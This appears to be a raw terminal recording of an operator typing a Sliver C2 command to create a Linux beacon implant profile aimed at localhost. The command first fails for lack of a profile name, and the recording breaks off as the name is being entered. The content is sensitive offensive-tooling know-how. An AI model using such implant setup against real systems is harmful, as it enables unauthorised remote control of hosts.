[23.573464, "o", "\u001b[6n"]
[23.590504, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbol\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[23.591214, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[66D\u001b[9C\u001b[214D\u001b[66C\u001b[?25h"]
[23.692589, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[23.703079, "o", "\u001b[6n"]
[23.712181, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[67D\u001b[9C\u001b[214D\u001b[67C\u001b[?25h"]
[23.843185, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[23.84961, "o", "\u001b[6n"]
[23.872613, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[23.874165, "o", "\u001b[214D\u001b[1A\u001b[68D\u001b[9C\u001b[214D\u001b[68C\u001b[?25h"]
[24.245191, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[24.253415, "o", "\u001b[6n"]
[24.283722, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[24.285435, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[69D\u001b[9C\u001b[214D\u001b[69C\u001b[?25h"]
[24.373216, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[24.373665, "o", "\u001b[6n"]
[24.381376, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[24.384282, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[70D\u001b[9C\u001b[214D\u001b[70C\u001b[?25h"]
[24.547481, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[24.55465, "o", "\u001b[6n"]
[24.573528, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--d\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[24.573764, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[71D\u001b[9C\u001b[214D\u001b[71C\u001b[?25h"]
[24.612342, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[24.615739, "o", "\u001b[6n"]
[24.620298, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--de\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[24.621017, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[72D\u001b[9C\u001b[214D\u001b[72C\u001b[?25h"]
[24.692276, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[24.697214, "o", "\u001b[6n"]
[24.701743, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--deb\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[24.702391, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[73D\u001b[9C\u001b[214D\u001b[73C\u001b[?25h"]
[24.732726, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[24.735639, "o", "\u001b[6n"]
[24.739556, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debu\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[24.740285, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[74D\u001b[9C\u001b[214D\u001b[74C\u001b[?25h"]
[24.931458, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[24.9338, "o", "\u001b[6n"]
[24.94215, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[24.942744, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[75D\u001b[9C\u001b[214D\u001b[75C\u001b[?25h"]
[25.041803, "o", "\u001b[?25l"]
[25.042296, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[25.045083, "o", "\u001b[6n"]
[25.048784, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[25.049191, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[76D\u001b[9C\u001b[214D\u001b[76C\u001b[?25h"]
[25.425308, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[25.427535, "o", "\u001b[6n"]
[25.436812, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[25.438559, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[77D\u001b[9C\u001b[214D\u001b[77C\u001b[?25h"]
[25.542351, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[25.549237, "o", "\u001b[6n"]
[25.577048, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[25.579289, "o", "\u001b[214D\u001b[1A\u001b[78D\u001b[9C\u001b[214D\u001b[78C\u001b[?25h"]
[25.679219, "o", "\u001b[?25l"]
[25.689165, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[25.695019, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
[25.695209, "o", "\u001b[1A\u001b[79D\u001b[9C\u001b[214D\u001b[79C\u001b[?25h"]
[25.881054, "o", "\u001b[?25l"]
[25.881692, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[25.896356, "o", "\u001b[6n"]
[25.915081, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[80D"]
[25.918243, "o", "\u001b[9C\u001b[214D\u001b[80C\u001b[?25h"]
[26.333571, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[26.345116, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2p\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[26.345455, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[81D\u001b[9C\u001b[214D\u001b[81C\u001b[?25h"]
[26.384697, "o", "\u001b[?25l"]
[26.386022, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[26.390181, "o", "\u001b[6n"]
[26.407139, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2pr\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[26.407269, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[82D\u001b[9C\u001b[214D\u001b[82C\u001b[?25h"]
[26.483373, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[26.488059, "o", "\u001b[6n"]
[26.492825, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2pro\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[26.494066, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[83D\u001b[9C\u001b[214D\u001b[83C\u001b[?25h"]
[26.61852, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[26.623731, "o", "\u001b[6n"]
[26.643919, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2prof\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[26.644161, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[84D\u001b[9C\u001b[214D\u001b[84C\u001b[?25h"]
[26.720473, "o", "\u001b[?25l\u001b[214D"]
[26.721567, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[26.724414, "o", "\u001b[6n"]
[26.73915, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profi\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[26.739685, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[85D\u001b[9C\u001b[214D\u001b[85C\u001b[?25h"]
[26.758393, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[26.761004, "o", "\u001b[6n"]
[26.769776, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profil\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[26.770802, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[86D\u001b[9C\u001b[214D\u001b[86C\u001b[?25h"]
[26.825606, "o", "\u001b[?25l"]
[26.826193, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[26.829997, "o", "\u001b[6n"]
[26.833447, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[26.834219, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[87D\u001b[9C\u001b[214D\u001b[87C\u001b[?25h"]
[27.027304, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[27.039152, "o", "\u001b[6n"]
[27.047505, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[27.049349, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[88D\u001b[9C\u001b[214D\u001b[88C\u001b[?25h"]
[28.392184, "o", "\u001b[?25l"]
[28.392807, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[28.403187, "o", "\u001b[6n"]
[28.428983, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mr\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[28.431242, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[89D\u001b[9C\u001b[214D\u001b[89C\u001b[?25h"]
[28.491078, "o", "\u001b[?25l\u001b[214D"]
[28.491447, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[28.496095, "o", "\u001b[6n"]
[28.501568, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mru\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[28.502265, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[90D\u001b[9C\u001b[214D\u001b[90C\u001b[?25h"]
[28.596319, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[28.607497, "o", "\u001b[6n"]
[28.632751, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mrub\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[28.633153, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[91D\u001b[9C\u001b[214D\u001b[91C\u001b[?25h"]
[28.737182, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[28.739762, "o", "\u001b[6n"]
[28.745354, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[28.745513, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[92D\u001b[9C\u001b[214D\u001b[92C\u001b[?25h"]
[28.886316, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[28.893976, "o", "\u001b[6n"]
[28.92261, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[28.924462, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[93D\u001b[9C\u001b[214D\u001b[93C\u001b[?25h"]
[30.669009, "o", "\u001b[93D\u001b[9C"]
[30.679951, "o", "\u001b[6n"]
[30.709595, "o", "\u001b[214D\u001b[93C\u001b[0J\u001b[214D\r\r\n"]
[30.71144, "o", "\u001b[0 q\r\n"]
[30.728861, "o", "\r\u001b[2K\u001b[1m\u001b[31m[!] \u001b[0mNo profile name specified\r\n\r\n"]
[30.737951, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[1 q"]
[30.738898, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[30.742844, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C"]
[30.743885, "o", "\u001b[214D\u001b[9C\u001b[?25h"]
[32.35367, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[32.372076, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[92D"]
[32.37311, "o", "\u001b[9C\u001b[214D\u001b[92C\u001b[?25h"]
[33.041767, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[33.053883, "o", "\u001b[6n"]
[33.063284, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[33.063865, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[93D\u001b[9C\u001b[214D\u001b[93C\u001b[?25h"]
[34.975713, "o", "\u001b[?25l\u001b[214D"]
[34.981131, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[34.986542, "o", "\u001b[6n"]
[35.022475, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby r\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[35.023477, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[94D\u001b[9C\u001b[214D\u001b[94C\u001b[?25h"]
[35.02377, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[35.026537, "o", "\u001b[6n"]
[35.035865, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby ru\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[35.03659, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[95D\u001b[9C\u001b[214D\u001b[95C\u001b[?25h"]
[35.082495, "o", "\u001b[?25l\u001b[214D"]
[35.08304, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[35.085452, "o", "\u001b[6n"]
[35.088682, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rub\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[35.089022, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[96D\u001b[9C\u001b[214D\u001b[96C\u001b[?25h"]
[35.215667, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[35.225629, "o", "\u001b[6n"]
[35.244071, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby ruby\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[97D\u001b[9C\u001b[214D\u001b[97C\u001b[?25h"]
[36.695789, "o", "\u001b[?25l\u001b[214D"]
[36.697237, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[36.700548, "o", "\u001b[6n"]
[36.721566, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[36.722071, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[98D\u001b[9C\u001b[214D\u001b[98C\u001b[?25h"]
[36.901814, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[36.907794, "o", "\u001b[6n"]
[36.934148, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[36.93475, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[99D\u001b[9C\u001b[214D\u001b[99C\u001b[?25h"]
[37.097056, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[37.103611, "o", "\u001b[6n"]
